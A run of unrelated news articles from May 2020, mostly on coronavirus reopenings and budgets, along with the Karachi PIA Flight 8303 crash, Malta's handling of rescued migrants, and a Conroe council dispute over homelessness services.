Financeit Founder, CEO & current President, Michael Garrity will remain the company's CEO as well as the Chairman of the Board of Directors. About Financeit Financeit is Canada's market-leading point-of-sale financing provider servicing the home improvement, recreational vehicle, and retail industries. Based in Toronto, Ontario, Financeit's innovative cloud-based technology makes it easy for merchants to increase close rates and transaction sizes with affordable customer financing solutions. The Financeit platform features a fast, transparent application process and has serviced over 8,000 merchant partners across Canada, processing more than $5 billion in loan applications. In 2017, Financeit purchased a market leading lead and workflow management solutions company, Centah , to expand its market offering to enterprise clients in the Home services industry globally. SOURCE Financeit

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Every Fine Wine & Good Spirit store in Cumberland and York counties made the cut for Fridays latest reopening of the Pa. liquor store system.

In full, the Pennsylvania Liquor Control Board says, 50 locations will start allowing customers inside again starting at 9 a.m. today, and all of them are located in counties that moved to the yellow phase of Gov. Tom Wolfs reopening plan as of 12:01 a.m. today.

You can see locations and hours for stores in Cumberland and York in the photos below. Previously, only curbside pickup or delivery was allowed amid the coronavirus pandemic. There are now 283 Fine Wine & Good Spirits stores open for limited in-person sales.

A screenshot of the locations, hours, and addresses of York County's Fine Wine & Good Spirits stores.

A screenshot of the locations, hours, and addresses of Cumberland County's Fine Wine & Good Spirits stores.

If youre wondering if a store near you made the cut, click here to see the PLCBs county-by-county listings. Some stores continue to offer just curbside pickup or are being used to fulfill delivery orders, of course.

Stores that are open have the following mitigation practices in place, per a PLCB news release:

Stores will limit the number of customers in a store at any time, allowing no more than 25 people (employees and customers) in any location and further restricting numbers of customers in smaller stores.

The first hour each store is open each day will be reserved for customers at high risk for COVID-19, including those 65 years of age and older. Voluntary compliance from all customers is encouraged in the interest of protecting the health and safety of our most vulnerable community members.

Customers and employees will be required to wear masks and practice social distancing, guided by signage throughout the stores.

Signage will also direct customers to follow one-way patterns to avoid cross-traffic and encourage them to refrain from touching products unless they intend to buy them.

Store employees will perform enhanced and frequent cleaning and disinfecting, and store hours will be modified to ensure appropriate time for cleaning and restocking.

All sales are final, and no returns will be accepted until further notice.

One other note on this topic: While Dauphin and Lancaster counties, which of course border Cumberland and York, are not in the yellow phase yet, it doesnt seem like a problem for residents of those counties to visit a liquor store thats open for in-person sales.

Gov. Wolf has said on numerous occasions that there is no intrastate or out-of-state travel ban in place, and while Health Department Secretary Dr. Rachel Levine made headlines Thursday by saying that the state doesnt want residents from red counties to visit yellow ones, its not illegal to visit them.

In additional liquor news, bars and restaurants can start serving cocktails to go starting today. More information on that here.

More coronavirus coverage:
The emergence of unique tourism products within the wellness sector, particularly those focused on mindfulness, isolation, and nature reconciliation, could be just what Vietnams tourism needs to jumpstart itself after the industrys COVID-19-induced halt.

COVID-19s impacts on both mental wellness and the economy will lead to a massive shift in consumer behavior around the globe, according to Dr. Nguyen Thu Hanh, director of the Scientific Union for Sustainable Tourism Development (STDe).

Dr. Hanh predicts that this shift will be most apparent in the way humans interact with the natural environment.

He believes that tourists, for example, will no longer settle for simply consuming and exploiting the locales in which they travel and instead will gravitate toward slow-paced itineraries which focus on replenishing the environment.

Travel to grasp the cycle of life

To meet these behavioral shifts, Dr. Hanh suggests that tourism service providers remember that the industry will likely never return to business as usual once the world emerges from the pandemic.

As such, those within the industry should facilitate new experiences centered on several common themes that seem to have risen to the forefront of consumers minds  positivity, mindfulness, self-control, and environmental awareness.

This new strain of travel experiences will help guide tourists away from overcrowded hotspots and toward peaceful, off-the-beaten-track locales where they are more likely to have an opportunity to support sustainable tourism.

Dr. Hanhs vision for the future of Vietnams tourism looks heavily toward connecting visitors with their surroundings and tapping into their creativity through cooking, playing instruments, painting, crafting, fashion showcases, dancing, and other bonding activities.

Such opportunities will supply tourists with an opportunity to experience a retreat of the mind, during which they can satisfy cravings for self-reflection and introspection on the virtues and transience of life as consolidated in Buddhist teachings.

This model of tourism, Dr. Hanh says, bears resemblance to Zen tourism in that its aim is to equip customers with resilience toward adversities in order to achieve inner peace.

Paying it forward toward nature

Infusing tourism with mindfulness is not a new concept in Vietnam.

Zen tour packages, such as one offered by Haydi Travel Co. Ltd., have been on offer since at least 2011.

Vu Tuan Phong, Haydis managing director, says his companys package includes a two-day-one-night experience during which customers are asked to abstain from communication and social connection.

Though Haydis Zen tour target market is not huge, it has still amassed a dedicated and growing customer base.

According to Phong, Vietnamese tourism is now at a crossroads and the path it chooses to take will decide its success in rebounding from the fallout of COVID-19.

It is critical, Phong believes, to take this chance and capitalize on the potential of community-based tourism, ecotourism, and educational tourism for the youth.

Dr. Tran Xuan Hieu, vice-director of STDe, shares Phongs view.

Dr. Hieu speculates that the post-coronavirus world will give rise to mindfulness and slow-paced practices, as well as an upsurge in the desire to return to nature.

These features are already being seen in the way younger Vietnamese embrace environmental activism through activities such as tree planting and biodiversity and ecosystem protection movements.

Looking to meet the changing needs of the market, Pys Travel Co. Ltd. from Hanoi has already launched ecotourism trips which invite customers to experience foresting activities first-hand.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
City of Laredo and Webb County officials have confirmed two more positive cases of the novel coronavirus, raising the city's total number of recognized cases to 502.

Fourteen people are currently hospitalized in Laredo hospitals with COVID-19.

Efforts to expand coronvirus testing in Laredo continues, with acting Laredo Fire Chief Ramiro Elizondo reporting that testing of residents and staff at Laredo nursing homes is expected to completed today.

Governor Greg Abbott mandated testing throughout state nursing homes after numbers indicated that they were "hot spot" for coronavirus Abbott activated local fire departments to assist in conducting testing.

Throughout the state, 3,325 cases have been recognized in nursing homes, with 537 deaths resulting from COVID-19. In contrast, no positive cases have been recognized in Laredo nursing homes as of noon Friday.

As of the city's latest update, 4,475 have been tested for the novel coronavirus in Laredo. 3,120 of those tests have returned negative. 853 tests are still pending results.

Of the 853 pending, 273 tests are from the testing clinics conducted by the Texas State Guard in Laredo.

City of Laredo health officials have reached out to the state about the tests, and are expecting results to return soon. The testing clinics were conducted from May 5 to May 7, over two weeks ago.

Additionally, 105 pending tests are classified as presumed negatives. These tests are older than two weeks old and are being reclassified due to their age.

According to health officials, pending tests more than two weeks are due to local physicians and labs not reporting negative results to the city, despite the governor's mandate to do so. Typically, negative results for other diseases do not have to be reported to city officials.

Removing the presumptive negatives and the pending tests from the Texas State Guard results in an adjusted pending number of 475.

326 people are considered recovered by the city health department. These people have been cleared to return to the general public after a mandatory quarantine period.

The number of coronavirus-related deaths remains at 18.
Source: Xinhua| 2020-05-23 04:58:49|Editor: huaxia

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VALLETTA, May 22 (Xinhua) -- Malta has rescued a group of 140 migrants and chartered a third tourist boat to hold them on the high seas after refusing their disembarkation, a government spokesman has confirmed.

Sources said the 140 rescued on Friday were in distress as their dinghy, which was already too small for all those people, was taking in water.

Malta has closed its ports to migrants in April and told the EU it could not guarantee the availability of assets to conduct rescues because of the COVID-19 pandemic.

Following its decision to close its ports, the government still wanted to live up to its international obligations to rescue people at sea who were in distress. On April 30, it chartered a tourist boat to house the 57 migrants rescued earlier in the day.

A second boat was chartered a week later after the Maltese army rescued another boatload of 120 migrants. Ten of them were allowed to disembark for purely humanitarian reasons.

The third boat commissioned on Friday will take the remaining 121 of a group of 140 rescued earlier in the day, as 19 of the group -- mostly children, their parents and three pregnant women -- were allowed to disembark in Malta.

The three chartered boats are outside Malta's waters until a European solution is found. Malta is calling for solidarity from other EU member states. Enditem
The husband of a woman sarpanch of Ballchapper village in the district was shot dead on Friday, police said.

At the time of the incident, village head Satnam Kaur's husband Rashpal Singh was watering his farming fields, when two youths arrived there on a bike and opened fire at him, leaving him critically injured.

By the time people reached the spot from the nearby fields, the accused had escaped.

Rashpal was declared brought dead on being rushed to the hospital here, the police said.

They said as per the preliminary investigation a piece of Panchayat land in Balchhapper village was illegally occupied by some people while this land was identified for installation of solar panels.

The illegal occupants of the land, however, were evicted by authorities recently.

The people who had illegally occupied this land, however, held some grudge against Rashpal Singh and suspected him to be behind getting them evicted, the police said.

A police official said three people have been named as accused by the victim's family members. A case has been registered against them and is being investigated, he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Conroe City Council took a no holds barred approached to a discussion regarding the homeless population in downtown after staff members reported they have taken numerous calls from concerned business owners.

They say the homeless are harassing their customers, said City Administrator Paul Virgadamo Jr. Its just become more and more of an issue. They are quite upset.

Virgadamo urged the council to put the item on the citys upcoming agenda for more discussion noting he was concerned about funding from organizations outside Conroe aiding in the citys homelessness issue.

MORE FROM JEFF FORWARD: Ironman Triathlon in The Woodlands officially canceled for 2020

One of the concerns I have is a large Woodlands church is funding Luke Redus, Virgadamo said. Money from there is coming up here to keep the situation up here.

Redus, who along with his wife Karla founded of Compassion United, operates several programs in both the city and county, including the Conroe House of Prayer, to provide services for homeless residents.

Councilman Duane Ham said the city should fight back.

ON HOUSTONCHRONICLE.COM: Its too late for them: Houstons homeless on the streets left vulnerable to coronavirus

I think we should take one of our buses and start busing them back down to that church that is bringing them up here, Ham said. Its like what you do when an armadillo ends up in your yard and you dont want to kill it, you take it down the road and hope it dont come back.

Neither Virgadamo nor Ham identified which church they were referring to.

Councilman Jody Czajkoski, who has been supportive of Redus efforts to help the homeless, suggested the city form an eight-member task force made up of a city council member, city staff and community leaders to develop a plan to benefit both the homeless population along with residents and business owners.

More Information Compassion United programs Breakfast In The Park - A weekly breakfast, sponsored by churches and businesses throughout Montgomery County and serving the poor and homeless in southeast Conroe. Currently, 80-120 individuals are served each Saturday. Conroe House of Prayer (CHOP) - Established in 2009, the CHOP offers services six days per week to the homeless in Conroe. Breakfast is provided by local churches. Clothing and hygiene items are made available to the homeless. Additionally, worship, teaching, and spiritual support are available. No one is required to participate in religious services in order to receive aid. CHOP also serves as part of the "intake" process for our transitional living program. Freedom House - Freedom House is a transitional living facility for men who desire to exit homelessness. Our current capacity is 14 men. This program has been in operation since 2010. Hosanna House - Hosanna House was launched in 2014 as a home for women exiting homelessness. Our current capacity is five women. Joy House - The Joy House was launched in 2009 as a place for homeless women in crises pregnancy. The capacity of our last facility was 16, however, we lost that facility during hurricane Harvey. We have yet to find a new location. Fresh Start - Fresh Start is the empowering support service to our transition program. Through the Fresh Start program, residents attend classes, receive assistance with resume writing and job searches, and receive mentoring to help them overcome the obstacles created while they were homeless. DESTINYKids - DK began in 2012 as an outreach to children and youth in Dugan. It has evolved into an after school activity and mentorship program that offers services four nights per week. Terry's Tables Food Pantry - The Food Pantry is located in East County and services approximately 6000 individuals per year. For more information on Compassion United, visit www.compassionunited.us. See More Collapse

However, Mayor Pro Tem Duke Coon was more cautious.

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I think the city needs to first come together and determine what the objectives are of the task force and how we would possibly create a task force, Coon said. I dont know if one needs to be created.

Redus, who was not part of the meeting but watched the archived recording of the discussion, was shocked at the councils statements, calling allegations he is taking money from churches to keep homeless people in Conroe ridiculous and unfounded.

I was disappointed to hear (them) make that statement, Redus said. The reality is I am supported by several churches, not in The Woodlands, but most of them in Conroe.

The funding from organization including numerous churches, Redus explained is used to get homeless off the streets. In fact, last year, Redus successfully got 31 people out of homelessness and into homes and working to support themselves.

Redus has continued to work to keep the homeless from having a negative impact on the city and business owners, but said the current COVID-19 pandemic has created some hurdles. While the local and state orders didnt restrict his efforts, implementing social distancing and other measures to control any spread of the new coronavirus did create a logistical challenge.

NEW PHONE DATA: Harris County, Texas receive 'F' grade in social distancing scoreboard

People have to use the restroom, he said. We were doing everything we could.

The council also questioned Virgadamo on Redus movement on developing Miracle City just south of Conroe. Last year, the Conroe City Council acted to donate five acres of land to Compassion United for the development of a complex to offer services to the homeless in one location.

The property is located off Foster Drive near the Conroe Fire Station.

According to Redus, who said he has stayed in communication with the city staff about his progress on the campus, is waiting to hear about a grant he applied for to help fund the development of Miracle City. That funding, he said, would allow him to break ground on the project as early as January.

In the meantime, he added, he is currently working to move modular buildings to the property to move from his current downtown location at 115 West Davis St. to the site of Foster Drive.

We have been working with the city to try and mitigate the negative impact of homelessness in the downtown to the best of our abilities, Redus said in a previous Courier article.

For Redus, developing a campus to offer all their services, including its Conroe House of Prayer, in one location has been a vision of theirs for several years.

According to Redus, the campus would include transitional housing, a welding shop, carpentry shop that will also build tiny homes, a new CHOP location, clothing and food pantry.

cdominguez@hcnonline.com
IKEA is set to reopen 19 stores across England and Northern Ireland from next month - but restaurants and play areas will remain closed.

The Swedish firm said social distancing wardens will patrol the store in an effort to reduce the chance of spreading coronavirus when the retailer reopens from June 1.

Only one adult and one child per household will be allowed inside the store at once, while IKEA's restaurants and play areas will remain closed to customers.

The retailer's food market will open to allow shoppers to cook popular dishes including Swedish meatballs at home, the company added.

The furniture chain said its high street stores will not yet reopen, and its Coventry outlet - which was already facing the axe - will remain closed permanently.

Ikea is set to reopen 19 stores across England and Northern Ireland from next month - but restaurants and play areas will stay closed (stock image)

Since the pandemic and the subsequent closure of stores on March 20, Ikea's car parks in Gateshead and Wembley have been turned into drive-through coronavirus testing sites.

Key workers were allowed to shop in the Swedish Food Markets after being tested.

Bosses said they now aim to limit customer numbers through a staggered entry system and are asking shoppers to 'come prepared with ready-made lists and their own bags'.

Click & Collect facilities in England, Wales and Northern Ireland are also reopening in a phased approach, the company added.

Stores in Scotland, Wales and the Republic of Ireland will, however, remain closed.

Extra hand sanitiser and more deep cleans of bags, trolleys, bathrooms, equipment and touchscreens will take place at stores.

Cash will not be accepted, with all payments by card or contactless only, and customers should avoid travelling to stores just to process refunds - with IKEA pointing out it has a 365-day returns policy.

The Swedish homewares chain said social distancing wardens will patrol the store and the number of customers allowed inside at once will be limited (Pictured: Shoppers queue to enter an IKEA in Bangkok, Thailand)

It comes as JD Wetherspoon today revealed its 11million masterplan to reopen its 875 pubs within weeks.

The chain closed in March despite its chairman Tim Martin claiming the lockdown 'wouldn't save lives'.

With pubs expected to reopen in July, Wetherspoons drinkers will be told 'not to meet in large groups' and will be expected to sanitise their hands on arrival and at other times during their visit using dispensers dotted around the pubs.

They will follow one-way systems to the toilets and through the bar where the tills will be screened off to protect staff likely to be wearing masks, gloves and eye protection, the chain said.

WHICH IKEA STORES ARE REOPENING? The 19 Ikea stores reopening from June 1 include: Croydon

Greenwich

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Staff will hand over all drinks holding the base of the pint or wine glass and when ordered via a smartphone they will be delivered to the table on a tray for the customers to take themselves to reduce the chances of spreading Covid-19.

Families will be asked to keep children seated and always accompanied to the toilet.

Restaurant chains including McDonalds, Nandos, KFC and Greggs have also recently moved to resume takeaway and delivery services after being closed for weeks amid the coronavirus crisis.

Fast food chains Wagamama, Subway, Starbucks and Pret a Manger have also recently reopened branches for takeaway.

Under Boris Johnson's eased coronavirus restrictions, the government has permitted homeware stores such as IKEA to reopen in England.

DuneIn and Matalan have already resumed trading at a number of branches following the rule change, with DFS and Furniture Village set to follow suit in time for the bank holiday weekend.

Furniture Village will reopen all its 52 branches on Saturday after it trialled social distancing measures in six stores last week.

Homewares brand DuneIn opened seven stores across the Midlands on May 12, with 39 of its 171 stores now open for customers.

Matalan reopened 15 stores in England on May 18, after the retailer underwent 'rigorous in-store testing and consultation with industry bodies.'

'With our new safety measures in place, we are extremely happy to be back serving families across England, and look forward to welcoming our customers back into stores, and our colleagues returning from furlough,' a statement said.

'We are extremely grateful to all of our colleagues for their huge efforts in caring for our customers and the business, and to our customers for their continued loyalty to Matalan.'

The retailer confirmed social distancing will be enforced in stores and staff on the shop floor will be provided with 'full PPE.'

All 'non-essential' stops were ordered to close under Mr Johnson's draconian coronavirus measures on March 23, in a bid to stop the spread of the virus.
Shelly Diaz, cook at Live Oak Middle School, hands out menus to families that drive through Live Oak Unified School Districts meal distribution on Wednesday.
As Taiwan President Tsai Ing-wen was sworn in for her second term on Wednesday, BJP MPs Meenakshi Lekhi and Rahul Kaswan virtually attended the ceremony and congratulated her on behalf of the Modi government, even as China claims it as its territory. This also comes amid the ongoing global inquest into the origins of the Covid crisis, with the WHO agreeing to and China permitting an investigation. Taiwan's presence at the World Health Assembly was also a matter of question and widely mooted, though it did not eventually come about.

The BJP MPs were among the 92 dignitaries from 41 countries who had a virtual presence at the ceremony as foreign visitors are banned in Taiwan in the wake of the COVID-19 pandemic.

Back in 2016, when Tsai was elected to her first term, the Indian government had decided against sending its MPs to Taiwan for the inaugural ceremony. This time around, the BJP MPs were also joined by Sohang Sen, the acting director-general of India-Taipei Association, who represented India at the ceremony in Taipei. India does not have an official diplomatic establishment in Taiwan, the same as 179 of the 194 United Nations members.

READ | Taiwan President Tsai Ing-wen Sworn In For 2nd Term

While they did not point out the Indian MPs, Chinese authorities slammed the congratulatory messages that foreign dignitaries sent to Tsai.

We hope and believe that  [they will] understand and support the just cause of Chinese people to oppose the secessionist activities for Taiwan independence and realise na tional reunification, Chinese Foreign Ministry Spokesman Geng Shuang told reporters in Beijing.

READ | China Complains About US Arms Deal With Taiwan

India and Taiwan shared democratic values

In their congratulatory message to the Taiwanese President, Lekhi and Kaswan highlighted on India and Taiwans shared belief in democratic values.

Both India and Taiwan are democratic countries, bonded by shared values of freedom, democracy and respect for human rights. Over the past years, India and Taiwan have enhanced bilateral relations enormously in wide-ranging areas, especially trade, investment and people to people exchanges, said the two MPs during their video message.

In addition to this joint message, Lekhi also sent a separate message to Tsai, which was also played at the ceremony. She congratulated Tsai and wished her great success and also talked about continued strengthening of the comprehensive relations between India and Taiwan.

READ | China Will Encourage People Of Taiwan To Promote 'reunification', Says Chinese Premier

READ | China Hits Back At Tsai Ing-wen, Says It Will 'never Tolerate' Taiwan's Separation
Most of us thought that the Coronavirus is like a three-hour scary movie thatll end soon and our lives would return to normal. But that is not what is happening! The deadly virus has forced us to make many changes in our lifestyle. Now, with the lockdown easing around the globe, the going-out and eating-out situation has completely changed. Social distancing has made the dining experience very different from what it used to be.

Dutch restaurant trials glass booths for dining amid coronavirus https://t.co/JGyk9zQstb pic.twitter.com/ntjALGvU13  Reuters (@Reuters) May 6, 2020

Restaurants across the globe are using a variety of ways to maintain social distancing while still being able to dine-out. At a restaurant in Rome, the waiters are no longer giving hard-copy menus to their customers instead they hold up a scan code. Customers point their smart phones at it and the digital menus pop at their screens.

Amsterdam got innovators Restaurant in Amsterdam tests glass booths for eating amid coronavirus https://t.co/lql44xqpqJ  MusicisLife (@AStateofChez) May 9, 2020

A few dining companies are using glass booths to separate people from each other and maintain social distancing from the crowd. People can now have their candlelit dinner inside a glass booth on the banks of Amsterdam canal. Not only this, a French designer Christophe Gernigon has created a see-through lampshade for people to wear on their heads to protect them from the virus. In Bangkok restaurants are using glass sheets to separate people from each other and the glass sheets are used as partitions to protect the customers from getting infected. In a few other restaurants, the customers are made to sit diagonally and toy pandas sit on the vacant seats to give you company.

The brainchild behind making pandas sit on vacant seats is for people to not feel awkward and lonely while eating alone outside. Now, thats still awkward for us to have a panda as your Saturday night dinner date but such is life! Another restaurant in Germany is handing out hats made of pool floats to ensure that people are maintaining a physical distance while dining together.

KEEP YOUR DISTANCE: A cafe in Germany has found a colorful way to enforce social distancing among patronsby strapping pool noodles to hats. https://t.co/KVmXikGo9B pic.twitter.com/ZRzIIJStDp  ABC News (@ABC) May 18, 2020

We wonder how Indian restaurants are going to keep the dining experience running along with protecting their customers from the virus. What do you think? Let us know in the comments below.
Volunteers look for survivors of a plane that crashed in a residential area of Karachi, Pakistan. Read more

KARACHI, Pakistan  A jetliner carrying 98 people crashed Friday in a crowded neighborhood near the airport in Pakistans port city of Karachi after an apparent engine failure during landing.

Officials said there were at least two survivors from the plane, and it was unknown how many people on the ground were hurt, with at least five houses destroyed.

The pilot of Pakistan International Airlines Flight 8303 was heard transmitting a mayday to the tower shortly before the crash of the Airbus A320, which was flying from Lahore to Karachi and carrying many traveling for the Muslim holiday of Eid al-Fitr. Video on social media appeared to show the jet flying low with flames shooting from one of its engines.

The plane crashed about 2:39 p.m. northeast of Jinnah International Airport in the poor and congested residential area known as Model Colony between houses that were smashed by its wings. Police in protective masks struggled to clear away crowds amid the smoke and dust so ambulances and firetrucks could reach the crash site.

As darkness fell, crews worked under floodlights, and a portable morgue was set up. At least 57 bodies were recovered, health department officials said, and PIA chairman Arshad Malik said finding all the dead could take two to three days.

Pakistans civil aviation authority said the plane had 91 passengers and a crew of seven. The A320 can carry up to 180 passengers, depending on how its cabin is configured.

At least two people aboard survived, according to the Sindh provincial health department, revising an earlier statement that three were alive.

Local TV stations showed video of a man on a stretcher they identified as Zafar Masood, the head of the Bank of Punjab. Malik later confirmed that Masood survived the crash.

At least three people on the ground were injured.

Malik announced an investigation into the crash, adding that the aircraft was in good working order.

Pakistan had resumed domestic flights earlier this week ahead of Eid-al Fitr, which marks the end of the holy month of Ramadan. Pakistan has been in a countrywide lockdown since mid-March because of the coronavirus, and the airline has been using social distancing guidelines on its flights by leaving every other seat vacant.

Southern Sindh province, of which Karachi is the capital, is the epicenter of the virus infections in Pakistan. The province has nearly 20,000 of the country's more than 50,000 cases.

A transmission of the pilots final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling to make another attempt.

We are proceeding direct, sir  we have lost engine, a pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sir, mayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

In one of the radio communications, at least one exchange from the flight sounded like a warning alarm was sounding in the cockpit.

A resident, Abdul Rahman, said he saw the jet circle at least three times, appearing to try to land before it crashed.

Prime Minister Imran Khan tweeted: Shocked & saddened by the PIA crash... Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased."

Science Minister Fawad Ahmed Chaudhry said this year has been a catastrophe  just survival is so difficult, with the pandemic and now the tragedy of the plane crash.

Most of the passengers were heading home to celebrate Eid-al Fitr, he said.

What is most unfortunate and sad is whole families have died, whole families who were travelling together for the Eid holiday, he said in a telephone interview in the capital of Islamabad.

The flight from the northeastern city of Lahore typically lasts about an hour and a half.

Airworthiness documents showed the plane last received a government check on Nov. 1, 2019. PIAs chief engineer signed a separate certificate April 28 saying all maintenance had been conducted. It said the aircraft is fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 showed China Eastern Airlines flew the plane from 2004 until 2014. The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

Perry Bradley, a spokesman for GE, said the firm was aware of reports of the accident and is closely monitoring the situation.

Airbus said the plane had logged 47,100 flight hours and 25,860 flights as of Friday. The plane had two CFM56-5B4 engines.

Airbus said it would provide technical assistance to investigators in France and Pakistan, as well as the airline and engine manufacturers.

We at Airbus are deeply saddened by the tragic news of flight #PK8303," tweeted Executive Director Guillaume Faury. "My thoughts and those of my Airbus colleagues, go to the families and loved ones affected. In aviation, we all work hard to prevent this. Airbus will provide full assistance to the investigating authorities.

____

Associated Press writers Jon Gambrell in Dubai, United Arab Emirates; Kathy Gannon and Munir Ahmed in Islamabad, and Asim Tanveer in Multan, Pakistan, contributed to this report.
Louisiana state lawmakers and Gov. John Bel Edwards administration found common ground as they started moving the state budget Thursday, with a House committee largely agreeing to the governor's proposal to use nearly $1 billion in federal coronavirus relief funds to stave off catastrophic cuts.

The House Appropriations Committee advanced spending plans that no longer include boosted funding for schools, early childhood education and universities, which the Republican-led Legislature and Democratic governor were planning before the coronavirus pandemic blew a hole in state revenues. House Bill 105 provides state government legal authority for the next fiscal year to legally spend specific amounts of public monies to pay employees, supplement law enforcement salaries, cover medical insurance for about one-fourth of state's residents, maintain parks, educate toddlers, graduate students and manner of other services.

But after the pandemic and cratering oil prices lowered overall revenue forecasts by about $1 billion for the fiscal year starting July 1, lawmakers appear poised to avoid making deep cuts to state agencies that provide services. The Edwards administration proposed using $991 million in federal aid from the $2 trillion stimulus passed by Congress to balance the current and upcoming fiscal year budgets.

Its unprecedented to have money like this forked over by the federal government, said Jay Dardenne, commissioner of administration for the governor. Theres no question this money is getting us through this pandemic crisis.

Thanks to the CARES Act, you will not see $900 million in cuts in fiscal year 2021, said Appropriations Chairman Jerome Zee Zeringue, R-Houma.

After dealing with coronavirus, John Bel Edwards left playing defense with Louisiana Legislature The coronavirus pandemic has done something that the Republican-controlled Legislature had not achieved during John Bel Edwards first four ye

State leaders had expressed concern that the $1.8 billion allocated by the stimulus to Louisianas state and local governments can only be used for certain coronavirus-related expenses, and not for lost revenue.

But the governors administration is relying on broad flexibility granted by the U.S. Treasury Department in using the funds. For instance, the feds told state leaders they can assume that payroll expenses for public safety qualified as coronavirus-related spending. That allows the state to use about $290 million in federal funding to spend on the state corrections department in fiscal years 2020 and 2021, freeing up state tax dollars.

There are still cuts in the budget proposal passed by the committee, which is scheduled for a vote by the full House on Tuesday. Along with the elimination of the $92 million in planned increased funding to colleges, K-12 schools and others, the proposal cuts $21 million from higher education, $40.7 million from the Louisiana Department of Health and $17.6 million in local housing.

But as some Republicans pointed out, colleges and other institutions have received other federal funding directly from the stimulus package. And the budget is far less dire than most expected.

We were expecting some drastic measures that may have been taken with the budget, said Rep. Gary Carter, a New Orleans Democrat.

The only significant difference between Edwards proposal and that crafted by the House Appropriations Committee was the committee proposed cutting an additional $12 million from the Louisiana Department of Health to increase funding for university agricultural centers and the judiciary, among other things.

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+6 John Bel Edwards slams tax cuts sought by GOP lawmakers, business groups As Republican lawmakers push forward tax cuts for the oil and gas industry and other sectors, Democratic Gov. John Bel Edwards on Monday came 

While the Republican-led Appropriations Committee largely agreed with Edwards' administration on the budget bills, they disagree on how to best spend the $811 million of the $1.8 billion in federal coronavirus aid funding set aside for local governments.

Dardenne's office is moving forward with a plan to accept applications for reimbursement from local governments with coronavirus-related expenses in June. But the Appropriations Committee voted 13-9 to advance a bill that would handle the funds differently, putting $200 million to a program for businesses.

Dardenne argued the move would delay the money going to local governments, creating more layers of bureaucracy. Zeringue, who offered up the proposal through amendments to a different bill, said he didn't intend to delay the process.

While local governments have been hit hard by lost revenue from the coronavirus  particularly in New Orleans  Dardenne said he expects there will likely be money left over in the $811 million pot of funds because the bulk of coronavirus expenses are incurred by the state. The funding can't be used to fill lost revenue from things like cratering sales taxes from business closures.

In the budget for the year beginning July 1, the state general fund was facing a reduction of $905 million in revenues. The proposal that advanced Thursday filled that hole by using federal coronavirus aid funding to replace most of a $597 million reduction in the state general fund, tapping $90 million in the states rainy day fund and cutting an additional $280 million from the original budget proposal  which included increases in funding for schools and other programs. The proposal features $61.5 million in increases largely for mandated cost increases.

The dramatic loss of revenue, which the states Revenue Estimating Conference voted to recognize earlier this month, came in large part because of a steep drop in oil prices. The previous forecast pegged oil at about $60 a barrel, and economists cut that outlook for the upcoming year to $32 a barrel, which cut the states revenue forecast from oil taxes by hundreds of millions of dollars.

The Revenue Estimating Conference also reduced the revenue outlook for the current fiscal year by $131 million, which the Appropriations Committee filled with federal funding, in line with Edwards recommendations.

State law requires that state spending must balance with available revenues.

Zeringue said the plan is for the full House to vote Tuesday on HB105, then move the operating budget measure to the Senate, which needs to make its changes and approve. Then the two chambers, typically, meet in conference committee to cobble an agreement that both chambers must approve before the session adjourns by 6 p.m. June 1. If they fail to both pass the bill by then, the Legislature must start over again in a specially called session. If the budget isn't passed by July 1, state government loses its legal authority to spend public money.

Dardenne suggested its likely lawmakers will be back in June and again in the fall in special sessions to deal with the budget.
UPDATE: End of shutdown in sight for Lehigh Valley, Philly, Poconos; 1st green-phase counties announced

With Memorial Day weekend on the horizon, everyone in the Lehigh Valley wants to know when the region will start to reopen.

A weekly analysis of publicly available data by lehighvalleylive.com shows that counties in and around the Lehigh Valley continue to see their rates of new cases decline over recent weeks, trending in the right direction but most are not yet to the goal.

The rate of new coronavirus cases  one of several measurements for reopening  continues to fall both locally in the Lehigh Valley and more widely across Pennsylvania.

A month ago Gov. Tom Wolf and Health Secretary Dr. Rachel Levine set a goal of seeing counties and regions head below a rate of 50 new cases of COVID-19 per 100,000 people over 14 days.

Our weekly analysis shows 21 Pennsylvania counties still above the threshold, including three scheduled to move to yellow on Friday, which are just shy of the goal.

Mirroring where the virus has taken its heaviest toll, the vast majority of the remaining red counties are in the Philadelphia suburbs and the greater Lehigh Valley, along with some in the south central portion of the state.

(Cant see this map? Click here.)

Wolf plans to announce a range of counties moving from red to yellow -- the second phase of his three-tier reopening plan -- on Friday. The governor hinted that some may even be moving from yellow to green during his Thursday call with reporters.

Currently, 37 counties are in the yellow phase with 12 more scheduled to move there Friday.

The case count is not the only measure the administration is using to determine which counties begin to reopen  officials are also considering hospital capacity, testing capabilities and the ability to trace confirmed cases, along with some subjective factors  but it is an important component.

When solely considering the case count, the Lehigh Valley is trending closer to where it needs to be for reopening.

(Cant see this chart? Click here.)

Lehigh Countys rate as of Thursday was 131 new coronavirus cases per 100,000 residents over the last two weeks, down from about 216 on April 30.

In Northampton County, the rate is about 150 cases per 100,000 people over two weeks, down from 247 on April 30.

To the north, Carbon County is moving into the yellow Friday having met the goal, and Monroe County keeps flirting with it.

To the south, Bucks County halted its upwards trend. The two-week rate of 177 coronavirus cases per 100,000 people is the slowest since we began tracking the incidence rate April 23.

To the west, the rate in Berks County has fallen dramatically over the last few weeks, from 379 cases per 100,000 people over two weeks on April 23 to about 164 as of Thursday.

Health officials are considering rates by region, and the eastern part of the state has the densest population and highest concentration of COVID-19.

The Northeast region, which includes the Lehigh Valley and areas north through Scranton to the New York State border, has a population weighted average of 108 new coronavirus cases per 100,000 people over two weeks, down from 125 last week and 180 three weeks ago.

Lackawanna boasts the highest incidence rate in the region (162) followed by the Lehigh Valleys two counties and then Pike (97) and Luzerne (83).

Several northeast counties with very low rates -- Susquehanna, Wayne, Wyoming and Carbon -- will move into the yellow on Friday along with Adams, Beaver, Columbia, Cumberland, Juniata, Mifflin, Perry and York counties. Three of the counties -- Adams, Columbia and Cumberland -- sit slightly above the goal rate.

The Southeast region, which includes Berks County and the Philadelphia suburbs, has about 168 new cases per 100,000 people over the previous two weeks, down from 185 last week and 237 three weeks ago.

Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share.

Our journalism needs your support. Please subscribe today to lehighvalleylive.com.

Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com.
Steve Debenport | E+ | Getty Images

